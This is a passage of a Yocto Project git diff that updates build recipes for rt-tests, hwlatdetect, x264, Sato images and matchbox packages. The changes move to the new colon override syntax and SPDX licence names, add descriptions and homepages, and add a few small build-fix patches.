-X264_DISABLE_ASM_x86 = "--disable-asm"
-X264_DISABLE_ASM_armv4 = "--disable-asm"
-X264_DISABLE_ASM_armv5 = "--disable-asm"
-X264_DISABLE_ASM_powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
-X264_DISABLE_ASM_mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
+X264_DISABLE_ASM:x86 = "--disable-asm"
+X264_DISABLE_ASM:armv4 = "--disable-asm"
+X264_DISABLE_ASM:armv5 = "--disable-asm"
+X264_DISABLE_ASM:powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
+X264_DISABLE_ASM:mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
EXTRA_OECONF = '--prefix=${prefix} \
--host=${HOST_SYS} \
diff --git a/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
new file mode 100644
index 0000000000..43c2a2f33b
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
@@ -0,0 +1,29 @@
+From 05ccf5045adf4248f29623ad0db2d2a55ae5cd06 Mon Sep 17 00:00:00 2001
+From: Randy Witt <randy.e.witt@intel.com>
+Date: Fri, 16 Oct 2020 16:54:30 -0700
+Subject: [PATCH] Makefile: Allow for CC and AR to be overridden
+
+The Makefile previously allowed for this but it was removed upstream in
+commit 7763cf316d7896fa05b816a46998f0827ab6e6eb.
+
+Signed-off-by: Randy Witt <randy.e.witt@intel.com>
+
+Upstream-Status: Inappropriate [other]
+
+---
+ Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index ec5d693..ab8a8de 100644
+--- a/Makefile
++++ b/Makefile
+@@ -1,6 +1,6 @@
+ VERSION = 2.3
+-CC = $(CROSS_COMPILE)gcc
+-AR = $(CROSS_COMPILE)ar
++CC ?= $(CROSS_COMPILE)gcc
++AR ?= $(CROSS_COMPILE)ar
+
+ OBJDIR = bld
+
diff --git a/meta/recipes-rt/rt-tests/files/rt_bmark.py b/meta/recipes-rt/rt-tests/files/rt_bmark.py
index 57b39b52a1..3b84447a0f 100755
--- a/meta/recipes-rt/rt-tests/files/rt_bmark.py
+++ b/meta/recipes-rt/rt-tests/files/rt_bmark.py
@@ -166,12 +166,12 @@ def start_stress(*args):
log(" Command: '", stress_cmd_str, "'")
log()
- # preexec_fn=os.setsid causes stress to be executed in a separate
+ # start_new_session causes stress to be executed in a separate
# session, => it gets a new process group (incl. children). It
# can then be terminated using os.killpg in end_stress without
# terminating this script.
- p = subprocess.Popen(stress_cmd, preexec_fn=os.setsid)
+ p = subprocess.Popen(stress_cmd, start_new_session=True)
return p
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb b/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb
deleted file mode 100644
index 5f61c4ecdd..0000000000
--- a/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Hardware latency detector"
-DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-require rt-tests.inc
-inherit python3-dir
-
-EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
-
-do_compile() {
- oe_runmake hwlatdetect
-}
-
-do_install() {
- oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
- MANDIR=${mandir} INCLUDEDIR=${includedir}
-
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
-}
-
-FILES_${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
-RDEPENDS_${PN} = "python3-core "
-RRECOMMENDS_${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_git.bb b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
new file mode 100644
index 0000000000..2dcc80965a
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Hardware latency detector"
+DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
+HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
+SECTION = "tests"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit python3-dir
+
+EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
+
+do_compile() {
+ oe_runmake hwlatdetect
+}
+
+do_install() {
+ oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
+ MANDIR=${mandir} INCLUDEDIR=${includedir}
+
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
+}
+
+FILES:${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
+RDEPENDS:${PN} = "python3-core "
+RRECOMMENDS:${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/rt-tests.inc b/meta/recipes-rt/rt-tests/rt-tests.inc
index 227eb99b98..e519dfdc61 100644
--- a/meta/recipes-rt/rt-tests/rt-tests.inc
+++ b/meta/recipes-rt/rt-tests/rt-tests.inc
@@ -1,12 +1,7 @@
-# Version 1.1
-SRCREV = "dff174f994f547a5785d32454865f140daacb0f5"
+SRCREV = "338843c1ee157ae5d990c6f544f66b447b24fa8b"
+PV = "2.3"
PE = "1"
-SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git"
-# 1.2 to 1.5 seem to be development versions
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(?!1\.[2-5])(\d+(\.\d+)+))"
+SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git;branch=main"
S = "${WORKDIR}/git"
-
-# calling 'uname -m' is broken on crossbuilds
-EXTRA_OEMAKE = "NUMA=0"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_1.1.bb b/meta/recipes-rt/rt-tests/rt-tests_1.1.bb
deleted file mode 100644
index 5aa0aa10c3..0000000000
--- a/meta/recipes-rt/rt-tests/rt-tests_1.1.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Real-Time preemption testcases"
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-DEPENDS = "linux-libc-headers virtual/libc"
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://src/cyclictest/cyclictest.c;beginline=7;endline=9;md5=e768b8da44555fe63f65e5c497844cb5 \
- file://src/pi_tests/pi_stress.c;beginline=6;endline=19;md5=bd426a634a43ec612e9fbf125dfcc949"
-
-require rt-tests.inc
-inherit ptest
-
-SRC_URI += " \
- file://run-ptest \
- file://rt_bmark.py \
- "
-
-# rt-tests needs PI mutex support in libc
-COMPATIBLE_HOST_libc-musl = 'null'
-
-# Do not install hwlatdetect
-EXTRA_OEMAKE += "PYLIB=''"
-
-do_install() {
- oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
- INCLUDEDIR=${includedir}
-}
-
-do_install_ptest() {
- cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
-}
-
-RDEPENDS_${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
-
-FILES_${PN} += "${prefix}/src/backfire"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_git.bb b/meta/recipes-rt/rt-tests/rt-tests_git.bb
new file mode 100644
index 0000000000..ef082131e2
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/rt-tests_git.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Real-Time preemption testcases"
+HOMEPAGE = "https://wiki.linuxfoundation.org/realtime/documentation/start"
+DESCRIPTION = "The main aim of the PREEMPT_RT patch is to minimize the amount of kernel code that is non-preemptible Therefore several substitution mechanisms and new mechanisms are implemented."
+SECTION = "tests"
+DEPENDS = "linux-libc-headers virtual/libc numactl"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://rt_bmark.py \
+ file://0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch \
+ "
+
+# rt-tests needs PI mutex support in libc
+COMPATIBLE_HOST:libc-musl = 'null'
+
+# Do not install hwlatdetect
+EXTRA_OEMAKE += "PYLIB=''"
+
+do_install() {
+ oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
+ INCLUDEDIR=${includedir}
+}
+
+do_install_ptest() {
+ cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
+
+FILES:${PN} += "${prefix}/src/backfire"
+RDEPENDS:${PN} += "bash"
diff --git a/meta/recipes-sato/images/core-image-sato-dev.bb b/meta/recipes-sato/images/core-image-sato-dev.bb
index 7fa69d0997..f45a83273c 100644
--- a/meta/recipes-sato/images/core-image-sato-dev.bb
+++ b/meta/recipes-sato/images/core-image-sato-dev.bb
@@ -3,5 +3,6 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato for development work. It includes everything \
within core-image-sato plus a native toolchain, application development and \
testing libraries, profiling and debug symbols."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs"
diff --git a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb b/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
deleted file mode 100644
index b794a7dc9e..0000000000
--- a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-IMAGE_INSTALL += "${PTESTS_FAST}"
-
-DESCRIPTION += "Also includes ptest packages with fast execution times to allow for more automated QA."
-
-# This image is sufficiently large (~1.8GB) that it can't actually fit in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1500MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
-IMAGE_ROOTFS_EXTRA_SPACE = "1524288"
-
-# ptests need more memory than standard to avoid the OOM killer
-QB_MEM = "-m 1024"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb b/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
deleted file mode 100644
index ff297fe324..0000000000
--- a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-DESCRIPTION += "Also includes ptest packages."
-
-IMAGE_FEATURES += "ptest-pkgs"
-
-PROVIDES += "core-image-sato-ptest"
-
-# Also include ptests which may not otherwise be included in a sato image
-IMAGE_INSTALL += "${PTESTS_FAST} ${PTESTS_SLOW}"
-
-# This image is sufficiently large (~1.8GB) that we need to be careful that it fits in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1100MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
-IMAGE_ROOTFS_EXTRA_SPACE = "1124288"
-
-# ptests need more memory than standard to avoid the OOM killer
-QB_MEM = "-m 1024"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk.bb b/meta/recipes-sato/images/core-image-sato-sdk.bb
index d7cc52b52b..afab473b52 100644
--- a/meta/recipes-sato/images/core-image-sato-sdk.bb
+++ b/meta/recipes-sato/images/core-image-sato-sdk.bb
@@ -3,9 +3,13 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato support that includes everything within \
core-image-sato plus meta-toolchain, development headers and libraries to \
form a standalone SDK."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs tools-sdk \
tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
IMAGE_INSTALL += "kernel-devsrc"
+# Compiling stuff, specifically SystemTap probes, can require lots of memory
+# See https://bugzilla.yoctoproject.org/show_bug.cgi?id=14673
+QB_MEM = "-m 768"
diff --git a/meta/recipes-sato/images/core-image-sato.bb b/meta/recipes-sato/images/core-image-sato.bb
index 673106eb6d..e63a229d12 100644
--- a/meta/recipes-sato/images/core-image-sato.bb
+++ b/meta/recipes-sato/images/core-image-sato.bb
@@ -1,6 +1,7 @@
DESCRIPTION = "Image with Sato, a mobile environment and visual style for \
mobile devices. The image supports X11 with a Sato theme, Pimlico \
applications, and contains terminal, editor, and file manager."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear hwcodecs"
@@ -8,8 +9,9 @@ LICENSE = "MIT"
inherit core-image
-TOOLCHAIN_HOST_TASK_append = " nativesdk-intltool nativesdk-glib-2.0"
-TOOLCHAIN_HOST_TASK_remove_task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:append = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:remove:task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
-QB_MEM_qemumips = "-m 256"
+QB_MEM:qemuarmv5 = "-m 256"
+QB_MEM:qemumips = "-m 256"
diff --git a/meta/recipes-sato/l3afpad/l3afpad_git.bb b/meta/recipes-sato/l3afpad/l3afpad_git.bb
index ccfda26589..56cbe6bc8d 100644
--- a/meta/recipes-sato/l3afpad/l3afpad_git.bb
+++ b/meta/recipes-sato/l3afpad/l3afpad_git.bb
@@ -1,10 +1,14 @@
SUMMARY = "Simple GTK+ Text Editor"
+DESCRIPTION = "L3afpad is a simple GTK+ text editor that emphasizes simplicity. As development \
+focuses on keeping weight down to a minimum, only the most essential features \
+are implemented in the editor. L3afpad is simple to use, is easily compiled, \
+requires few libraries, and starts up quickly."
HOMEPAGE = "https://github.com/stevenhoneyman/l3afpad"
-# Note that COPYING seems to mistakenly contain LGPLv2.1.
-# The source code is marked GPLv2+ and COPYING used to contain
+# Note that COPYING seems to mistakenly contain LGPL-2.1.
+# The source code is marked GPL-2.0-or-later and COPYING used to contain
# that as well.
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://src/l3afpad.h;endline=20;md5=8848fd645cd45115d8cb47ca5c42a50e \
file://src/utils.c;endline=20;md5=ae4792f69d3bb7b7ba91d582ba9b1a05"
@@ -12,14 +16,14 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
DEPENDS = "gtk+3 intltool-native gettext-native"
PV = "0.8.18.1.11+git${SRCPV}"
-SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git"
+SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git;branch=master;protocol=https"
SRCREV ="3cdccdc9505643e50f8208171d9eee5de11a42ff"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check mime-xdg
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
EXTRA_OECONF = "--disable-emacs --disable-print"
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
diff --git a/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
new file mode 100644
index 0000000000..d3a458f100
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
@@ -0,0 +1,24 @@
+From 989ae1f3651686c1f1046fe1c1596d564c3f452d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 13 Dec 2021 14:33:01 +0100
+Subject: [PATCH] CMakeLists.txt: do not run cross-binary
+
+Upstream-Status: Inappropriate [issue reported at https://github.com/yusiwen/libptytty/issues/2]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index c1ad6c0..3bd4d97 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -271,7 +271,7 @@ if(NOT HAVE_UNIX_FDPASS)
+ message(FATAL_ERROR "libptytty requires unix-compliant filehandle passing ability")
+ endif()
+
+-check_c_source_runs(
++check_c_source_compiles(
+ "
+ #include <grp.h>
+ #include <sys/stat.h>
diff --git a/meta/recipes-sato/libptytty/libptytty_2.0.bb b/meta/recipes-sato/libptytty/libptytty_2.0.bb
new file mode 100644
index 0000000000..1199f0f44b
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty_2.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = " OS independent and secure pty/tty and utmp/wtmp/lastlog handling"
+HOMEPAGE = "http://software.schmorp.de/pkg/libptytty.html"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+SRC_URI = "http://dist.schmorp.de/libptytty/libptytty-${PV}.tar.gz \
+ file://0001-CMakeLists.txt-do-not-run-cross-binary.patch \
+ "
+SRC_URI[sha256sum] = "8033ed3aadf28759660d4f11f2d7b030acf2a6890cb0f7926fb0cfa6739d31f7"
+
+inherit cmake
+
+EXTRA_OECMAKE:append:libc-musl = " -DWTMP_SUPPORT=OFF"
diff --git a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
index b993a94547..d951baf361 100644
--- a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
+++ b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
@@ -2,22 +2,22 @@ SUMMARY = "Matchbox GTK+ theme configuration application"
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://appearance/mb-appearance.c;endline=25;md5=ea92333cf8a6802639d62d874c114a28"
DEPENDS = "gconf gtk+3"
-RDEPENDS_${PN} = "settings-daemon"
+RDEPENDS:${PN} = "settings-daemon"
# SRCREV tagged 0.2
SRCREV = "ef2192ce98d9374ffdad5f78544c3f8f353c16aa"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://no-handed.patch"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# The settings-daemon requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
index b0cdfa2ae1..b05a9c48ad 100644
--- a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
+++ b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
@@ -1,8 +1,9 @@
SUMMARY = "Matchbox Window Manager Desktop"
+DESCRIPTION = "A lightweight windows manager for embedded systems. It uses the desktop background to provide an application launcher and allows modules to be loaded for additional functionality."
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+ & LGPLv2+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://src/desktop.c;endline=20;md5=36c9bf295e6007f3423095f405af5a2d \
file://src/main.c;endline=19;md5=2044244f97a195c25b7dc602ac7e9a00"
@@ -12,22 +13,22 @@ SECTION = "x11/wm"
# SRCREV tagged 2.2
SRCREV = "6bc67d09da4147e5552fe30011a05a2c59d2f777"
-SRC_URI = "git://git.yoctoproject.org/${BPN}-2 \
- file://vfolders/* \
+SRC_URI = "git://git.yoctoproject.org/${BPN}-2;branch=master \
+ file://vfolders/ \
"
EXTRA_OECONF = "--enable-startup-notification --with-dbus"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# The startup-notification requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
-do_install_append() {
+do_install:append() {
install -d ${D}${datadir}/matchbox/vfolders/
install -m 0644 ${WORKDIR}/vfolders/* ${D}${datadir}/matchbox/vfolders/
}
-FILES_${PN} += "${datadir}/matchbox/vfolders/"
+FILES:${PN} += "${datadir}/matchbox/vfolders/"
diff --git a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
index 465f1349af..b1724675ba 100644
--- a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
+++ b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
@@ -1,9 +1,10 @@
SUMMARY = "Matchbox virtual keyboard for X11"
+DESCRIPTION = "An on screen 'virtual' or 'software' keyboard."
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
SECTION = "x11"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://src/matchbox-keyboard.h;endline=17;md5=9d6586c69e4a926f3cb0b4425f24ba3c \
file://applet/applet.c;endline=18;md5=4a0f721724746b14d95b51ddd42b95e7"
@@ -18,7 +19,7 @@ SRC_URI = "git://git.yoctoproject.org/${BPN};branch=matchbox-keyboard-0-1 \
S = "${WORKDIR}/git"
-inherit autotools pkgconfig gettext gtk-immodules-cache distro_features_check
+inherit autotools pkgconfig gettext gtk-immodules-cache features_check
# The libxft, libfakekey and matchbox-panel-2 requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
@@ -32,19 +33,19 @@ PACKAGECONFIG[gtk3-im] = "--enable-gtk3-im,--disable-gtk3-im,gtk+3"
PACKAGES += "${PN}-im ${PN}-applet"
-FILES_${PN} = "${bindir}/ \
+FILES:${PN} = "${bindir}/ \
${sysconfdir} \
${datadir}/applications \
${datadir}/pixmaps \
${datadir}/matchbox-keyboard"
-FILES_${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
+FILES:${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
${libdir}/gtk-3.0/*/immodules/*.so"
-FILES_${PN}-applet = "${libdir}/matchbox-panel/*.so"
+FILES:${PN}-applet = "${libdir}/matchbox-panel/*.so"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d/
install -m 755 ${WORKDIR}/80matchboxkeyboard.sh ${D}/${sysconfdir}/X11/Xsession.d/
@@ -55,5 +56,5 @@ do_install_append () {
GTKIMMODULES_PACKAGES = "${PN}-im"
-RDEPENDS_${PN} = "formfactor dbus-wait"
-RRECOMMENDS_${PN} = "${PN}-applet"
+RDEPENDS:${PN} = "formfactor dbus-wait"
+RRECOMMENDS:${PN} = "${PN}-applet"
diff --git a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
index 421740f984..3dec68b963 100644
--- a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
+++ b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
@@ -1,8 +1,10 @@
SUMMARY = "Simple GTK+ based panel for handheld devices"
+DESCRIPTION = "A flexible always present 'window bar' for holding application \
+launchers and small 'applet' style applications"
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://matchbox-panel/mb-panel.h;endline=10;md5=0b7db28f4b6863fb853d0467e590019a \
file://applets/startup/startup.c;endline=22;md5=7cbcea60b667f609495222faf3e07917"
@@ -17,11 +19,11 @@ REQUIRED_DISTRO_FEATURES = "x11"
# SRCREV tagged 2.11 plus some autotools fixes
SRCREV = "f82ca3f42510fb3ef10f598b393eb373a2c34ca7"
-RPROVIDES_${PN} = "matchbox-panel"
-RREPLACES_${PN} = "matchbox-panel"
-RCONFLICTS_${PN} = "matchbox-panel"
+RPROVIDES:${PN} = "matchbox-panel"
+RREPLACES:${PN} = "matchbox-panel"
+RCONFLICTS:${PN} = "matchbox-panel"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://0001-applets-systray-Allow-icons-to-be-smaller.patch \
"
@@ -31,10 +33,10 @@ EXTRA_OECONF += " ${@bb.utils.contains("MACHINE_FEATURES", "apm", "--with-batter
S = "${WORKDIR}/git"
-FILES_${PN} += "${libdir}/matchbox-panel/*.so \
+FILES:${PN} += "${libdir}/matchbox-panel/*.so \
${datadir}/matchbox-panel/brightness/*.png \
${datadir}/matchbox-panel/startup/*.png \
${datadir}/icons/"
-FILES_${PN}-dev += "${libdir}/matchbox-panel/*.la"
+FILES:${PN}-dev += "${libdir}/matchbox-panel/*.la"
-inherit autotools pkgconfig distro_features_check gettext
+inherit autotools pkgconfig features_check gettext
diff --git a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
index 8230e95140..020e211ea5 100644
--- a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
+++ b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
@@ -2,18 +2,18 @@ SUMMARY = "Custom Matchbox session files for the Sato environment"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://session;endline=3;md5=f8a5c5b9c279e52dc094d10e11c2be63"
SECTION = "x11"
-RDEPENDS_${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
+RDEPENDS:${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
PR = "r30"
# This package is architecture specific because the session script is modified
# based on the machine architecture.
PACKAGE_ARCH = "${MACHINE_ARCH}"
-inherit distro_features_check
+inherit features_check
# The matchbox-theme-sato requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
@@ -22,7 +22,7 @@ SRC_URI = "file://session \
file://index.theme"
S = "${WORKDIR}"
-FILES_${PN} += "${datadir}/themes/Sato/index.theme"
+FILES:${PN} += "${datadir}/themes/Sato/index.theme"
do_install() {
# This is the set of machine features that the script has markers for
@@ -43,7 +43,7 @@ do_install() {
}
PACKAGE_WRITE_DEPS += "gconf-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
set_value() {
#type, name, value
gconftool-2 --config-source=xml::$D${sysconfdir}/gconf/gconf.xml.defaults --direct --type $1 --set /desktop/poky/interface/$2 "$3"
diff --git a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
index 7f5eda3043..802ffa971b 100644
--- a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
+++ b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
@@ -2,7 +2,7 @@ SUMMARY = "Lightweight GTK+ terminal application"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://main.c;endline=20;md5=96e39176d9e355639a0b8b1c7a840820"
@@ -11,11 +11,11 @@ SECTION = "x11/utils"
#SRCREV tagged 0.2
SRCREV = "161276d0f5d1be8187010fd0d9581a6feca70ea5"
